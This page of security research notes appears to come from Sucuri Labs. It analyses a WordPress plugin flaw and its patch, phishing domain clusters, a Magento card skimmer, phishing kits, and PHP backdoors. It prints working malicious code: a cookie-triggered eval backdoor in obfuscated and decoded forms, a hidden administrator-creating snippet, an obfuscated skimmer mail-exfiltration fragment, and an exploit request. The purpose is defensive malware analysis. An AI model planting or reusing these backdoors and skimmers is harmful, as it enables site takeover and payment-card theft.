Sucuri Labs

The home of our Security Engineering Group, including our Threat Research, Technical Security and Automation teams.

Lack of controls when using WordPress’ update_option() with...

As mentioned in recent posts, WordPress’ update_option() function is used to update any option in the options database table. If the permission flow when using this function isn’t correctly implemented by developers, attackers can gain admin access or inject arbitrary data into any site.

This is the case for the plugin Login or Logout Menu Item, which currently has over 10,000 installations (versions <= 1.1.1). This vulnerability allows unauthenticated attackers to arbitrarily update some plugin options and redirect any user to an external malicious URL.

function lolmi_save_settings() { 
if(isset($_POST['lolmi_settings_submit'])) { 

$login_page_url = (isset($_POST['lolmi_login_page_url']) && !empty($_POST['lolmi_login_page_url'])) ? $_POST['lolmi_login_page_url'] : wp_login_url(); $login_redirect_url = (isset($_POST['lolmi_login_redirect_url']) && !empty($_POST['lolmi_login_redirect_url'])) ? $_POST['lolmi_login_redirect_url'] : home_url(); $logout_redirect_url = (isset($_POST['lolmi_logout_redirect_url']) && !empty($_POST['lolmi_logout_redirect_url'])) ? $_POST['lolmi_logout_redirect_url'] : home_url(); 

update_option('lolmi_login_page_url', esc_url_raw($login_page_url)); 
update_option('lolmi_login_redirect_url', esc_url_raw($login_redirect_url));
update_option('lolmi_logout_redirect_url', esc_url_raw($logout_redirect_url)); 

[...]
} 
}

What's the problem with the function above?

  • It updates the key “_lolmi_login_pageurl” with any value provided by the user
  • Does not check for capability
  • Does not check nonce

A patch was released on August 5th, 2019 to address this vulnerability:

--Version: 1.1.1
++Version: 1.2.0
Plugin URI: https://caseproof.com

[…]
 ++ <?php wp_nonce_field('lolmi_nonce'); ?>
<input type="submit" id="lolmi_settings_submit" name="lolmi_settings_submit" value="<?php _e('Save Settings', 'lolmi'); ?>" class="button button-primary" />
</form>
[…]      
function lolmi_save_settings() {
 if(isset($_POST['lolmi_settings_submit'])) {
++if(!current_user_can('manage_options')) { die("Cheating eh?"); }
++check_admin_referer('lolmi_nonce');
[...]

With just a few lines of code in the right place, developers can avoid security issues related to the misuse of this function and keep their users safe.

These kind of bugs are always the first choice for bad actors—they don’t need any authentication on the site, it’s monetizable, and really easy to automate.

Here's how they are exploiting this particular bug in old versions of the plugin Login or Logout Menu Item:

192.169.157.142 - lolmi_settings_submit=1&lolmi_login_page_url=http[:]//gabriellalovecats[.]com/wp-login.php [0/Aug/2019] "POST /wp-admin/admin-post.php?action=lolmi_save_settings HTTP/1.1"

Skimmers and Phishing

Recently, we shared a post about a network of domains used in a JavaScript credit card stealing malware campaign. These domains are all hosted on the same server with the IP 8.208.15.67.

In addition to the domains used by the skimmers, the server also had two sites whose domains were clearly created for phishing two Canadian banks:

rbcroyalbank[.]com.ng - Real address of the Royal Bank of Canada is rbcroyalbank.com

www1-bmo[.]com.co - Online banking for the Bank of Montreal is www1.bmo.com.

Given that the goal of malware on e-commerce sites and bank phishing is to obtain payment details and steal money, it’s quite natural to see the same bad actors participating in both types of attacks.

Moreover, as Group IB wrote in April about the previous wave of these JS skimmers, this campaign is known for using fake Magento login pages on domains mimicking the domain names of the online stores they tried to compromise. So phishing and credit card skimmers complement each other very well.

Unlike other domains, where registrant details were hidden by privacy protection services, the rbcroyalbank[.]com.ng domain had public WHOIS information.

Creation Date: 2019-06-10
...
Registrant ID: 1319589-NIRA
Registrant Name: Julio Jaime
Registrant Organization: Media Lend, LLC
Registrant Email: medialand.regru@gmail.com

Most likely, this information is [mostly] fake—but it was enough to find another batch of phishing domains.

Fake Data:
While the data says the address is in Indiana, the zip code and city provided are in New Jersey.

The email “medialand.regru@gmail.com” suggests a connection to a Russian domain name registrar reg.ru. Most likely, it’s a dedicated email address used specifically for registering new domain names.

We used DomainBigData to search if anything else was associated with that medialand.regru account and found a whole bunch of other [mostly] phishing domains registered in 2019.
Here are just some of them:

Facebook
facebook-bay[.]com  2019-03-29  reg.com
facebook-s3[.]com   2019-04-04  reg.com
facebook-s2[.]com   2019-04-04  reg.com
facebook-s1[.]com   2019-04-04  reg.com
facebook-listings[.]com 2019-03-30  reg.com
facebook-listing[.]com  2019-03-30  reg.com
facebook-itm[.]com  2019-03-30  reg.com
facebook-state[.]com    2019-03-29  reg.com
facebook-restore[.]com  2019-03-23  reg.com
restore-facebook[.]com  2019-03-23  reg.com
facebook-area[.]com     2019-03-17  reg.com
facebook-ss[.]com   2019-03-29  reg.com
recover-facebook[.]com  2019-03-23  reg.com
facebook-st[.]com   2019-03-29  reg.com
facebook-secure[.]com   2019-03-23  reg.com
static-facebook[.]com   2019-03-23  reg.com
facebook-us[.]com   2019-03-28  reg.com
facebook-s6[.]com   2019-04-20  reg.com
facebook-s5[.]com   2019-04-20  reg.com
facebook-s4[.]com   2019-04-20  reg.com

MyEtherWallet
myetherevvalliet[.]com  2019-07-21  reg.com
Bank phishing
carrefourbanque-compte[.]com    2019-06-18  reg.com
www-1royalbank[.]com    2019-05-29  reg.com
clickwebsite-rbc[.]com  2019-05-22  reg.com
tangerine-en[.]com  2019-05-07  reg.com
meine-db-account-i73983479[.]com    2019-04-08  reg.com
acc7201-statement-online[.]com  2019-04-01  reg.com
postecartaonline[.]com  2019-03-26  reg.com
client-sofinco[.]net    2019-03-01  reg.com
olb-secure[.]com    2019-02-20  reg.com
mabanquepro-bnpparibas[.]com    2019-03-17  reg.com
bmo-onlinebanking[.]com     2019-05-08  reg.com
secure-banking-updt[.]com   2019-02-22  reg.com
com-cgi-bin-3t5ufkygkl56-www-desjardins[.]com   2019-04-25  reg.com

PayPal
limited-services-paypal[.]com   2019-05-20  reg.com
restricted-users-paypai[.]com   2019-06-28  reg.com

Mobile carriers 
my3-bill[.]com  2019-04-18  reg.com
three-mybilling[.]com   2019-03-28  reg.com
threebilling[.]com  2019-03-08  reg.com
myvodafone-billing[.]com    2019-03-12  reg.com
account-billing[.]com   2019-03-15  reg.com

Apple
apple-appield[.]com     2019-04-23  reg.com
apple-restore[.]com     2019-03-28  reg.com

Many of these domains have already been detected as phishing by various security companies:


https://www.virustotal.com/gui/url/fb934dd5d574344759251678dd3c3b183f83fbe1cfb652201b155ee5c69a5476/detection

KOSONG Credit Card Stealer

Our security analyst Christopher Morrow recently discovered a server-side Magento skimmer that was injected into the savePayment function in the app/code/core/Mage/Checkout/Model/Type/Onepage.php file.

Skimmer in Onepage.php

This code emails payment details to "reachead@yandex[.]com", then sends them to a script on a remote server: "hxxps://smartxenons[.]co.uk//new/img/Opage.php".

While you can clearly see the curl request to the malicious URL, both the email address and the code responsible for sending the email are obfuscated:

$idkey = "base"."64"."_"."de"."code";
        $update = "ma"."il"";
        $encsrv = $idkey("cmVhY2hlYWRAeWFuZGV4LmNvbQ==");  
        $update($encsrv, $subject, $datasend, $ipcid);
        $update($encsrv, $subject, $xupdate, $ipcid);

Although the attackers use the Russian Yandex service to receive the emails, I suspect they are most likely from either Indonesia or Malaysia. The malware uses the words "KOSONG" as a placeholder for missing payment details. In Indonesian and Malay languages this word means "empty" or "blank".

Hydro-Quebec phishing

We have found an interesting phishing kit containing numerous phishing pages which target large, popular brands like Amazon and Paypal. What was interesting about this kit was that it also included a phishing page that was more unusual: Hydro-Québec.

**./administrator/help/rembouresement/hydroquebec/Hydro/quebec/Login.html**

Hydro-Québec is a public utility company that primarily sells to customers within Québec, Canada. As the overall population of Québec, Canada is about 8.4 million people, this limits the number of possible victims when comparing it to a larger userbase of a national or international businesses with hundreds of millions of users.

WombatSecurity’s phishing statistics show an average click rate of just 9% for the average phishing email, which demonstrates why large userbases are considerably more attractive to malicious users. Nevertheless, Hydro-Québec recently sent a notice to its customers to be on the lookout for suspicious emails.

This particular phishing campaign is being sent to customers and promises a refund of over $100 USD - under the condition that the victim provides their personal and payment information. This private information is then sent to a PHP mail script that sends the stolen data to an email address specified by the malicious user.

This phishing kits exfiltrates the stolen data through a PHP mail script and uses three separate PHP scripts that send the field data from their respective phishing page.

The phishing page responsible for requesting the credit card data was using the following script:

malicious script

I was also surprised to see that the creator of the phishing page was brazen enough to blatantly ask for the credit limit of the payment card, which is highly unusual and not asked by merchants:
phishing site requesting credit card information

User adder backdoor

As we’ve seen many times before, there are a variety of backdoors that can be planted on a website. Post-compromise, it's almost mandatory to review the list of users with admin capabilities within the website.

But, what if you check the list, remove a user, and it suddenly reappears again? Could it be a new compromise? Could there still be a backdoor present?

Here’s one of the possible culprits which was found within a theme’s functions.php file:

$createuser = wp_create_user('admin123', 'admin123', 'admin123@gmail.com');
$user_created = new WP_User($createuser);
$user_created -> set_role('administrator');

It’s a very simple piece of code that allows the attacker to maintain access to your website.

This shows how important it is to keep track of the integrity of your files, especially plugins and themes.

EE wireless provider phishing malware

A large number of phishing targets include popular services such as banks, payment providers, and email services.

In this type of attack, fraudsters create fake pages that appear to be legitimate content, but instead trick victims into disclosing sensitive information such as email accounts, logins, and passwords. This information is then collected and sent to them via email, or saved on a file in a compromised environment. The stolen information can be used to make fraudulent purchases, money transfers, sold on the darknet for profit, or other kinds of illegal activities.

During a recent remediation response, we found a phishing campaign that was targeting a very specific service — the popular UK wireless phone, broadband, and landline provider “EE”.

The malware itself is not very complex. It shows victims a copy of the original “EE” login page, which has been designed to trick users into entering their account information. Just like the majority of other phishing scams, the user is prompted to login in order to proceed.

Any submitted credentials are then emailed to the bad actor and are (likely) used to access their account.

An interesting aspect of this particular campaign is that the malicious script appears to be only targeting mobile users. It also records the user’s IP from whenever the page is accessed.
Here is a small snippet:

$useragent = $_SERVER['HTTP_USER_AGENT'];

if(preg_match('/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i',$useragent)||preg_match('/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i',substr($useragent,0,4)))  {

$_SESSION['mobile'] = true;

}

if(isset($_SESSION['mobile'])) {

   $mobile = true;

}

$v_ip = $_SERVER['REMOTE_ADDR'];
$hash = md5($v_ip);

The beginning of the form collects the login details and includes the hashed IP of the user:

<form name="userInformationForm" id="userInformationForm" 
method="POST" autocomplete="off" 
class="capture_form capture_userInformationForm" 
accept-charset="UTF-8" action="details.php?&sessionid=<?php echo $hash; ?>&securessl=true" 
onsubmit="return empty()">

The rest of the page is an exact copy of the login page found on the original site, but a few changes have been to the form responsible for submitting the login credentials — they are sent to another file and emailed to the attacker.

It's not entirely clear what are the objectives behind this phishing attempt are. Our first assumption was that bad actors were remotely accessing the SMS messages to capture a 2FA code sent from other services, however a quick investigated revealed that EE doesn't provide this service.

The second guess was that attackers are using the stolen credentials to change EE’s DNS servers on broadband routers to redirect customers to other phishing pages, however it doesn't seem to be possible.

If you use this provider and have some clues for us, please reach our team at labs[at]sucuri[dot]net.

New variant of “trollherten” malware

We continue to see new variations of obfuscation used to hide a PHP backdoor that began to be heavily used by malicious users in late 2018 - as we mentioned in a blog post at the time.


This variant tries to hide by compressing and encoding the malicious code, then using clever variables to try and mislead someone that may just be doing a cursory glance of the file’s code. In fact, the file and its coding has nothing at all to do with images or watermarks. Its true purpose is found on line 10:

$watermark='};'.urldecode(gzinflate(urldecode($lmagewatermark.$imagewatermark))).'{'; create_function('',$watermark);

This line of code defines the variable $watermark with the uncompressed, decoded data that was derived by using urldecode and gzinflate on the $imagewatermark variable. Now that we have the uncompressed, decoded data assigned to the $watermark variable, it will be easier for us to read the code:

};$GLOBALS['_79565595_']=Array('str_' .'rot13','pack','st' .'rrev');
function _1178619035($i{
$a=Array("jweyc","aeskoly","owhggiku","callbrhy","H*");
return $a[$i];}
function l__0($_0){
return isset($_COOKIE[$_0])?$_COOKIE[$_0]:@$_POST[$_0];}$_1=l__0(_1178619035(0)) .l__0(_1178619035(1)) .l__0(_1178619035(2)) .l__0(_1178619035(3));
if(!empty($_1)){
$_1=$GLOBALS['_79565595_'][0](@$GLOBALS['_79565595_'][1](_1178619035(4),$GLOBALS['_79565595_'][2]($_1)));
if(isset($_1)){
@eval($_1);
exit();}}

And after further deobfuscating the PHP code’s arrays and text manipulation, we can see that this is the same malicious code that was mentioned in our past blog post in late 2018:

<?php
function cookie_or_request($_0){
return isset($_COOKIE[$_0]) ? $_COOKIE[$_0] : @$_POST[$_0];}
$rce = cookie_or_request('jweyc') . cookie_or_request('aeskoly') . cookie_or_request('owhggiku') . cookie_or_request('callbrhy');
if(!empty($rce)){
$rce = str_rot13(pack('H*', strrev($rce)));
if(isset($rce)){
@eval($rce);
exit();}}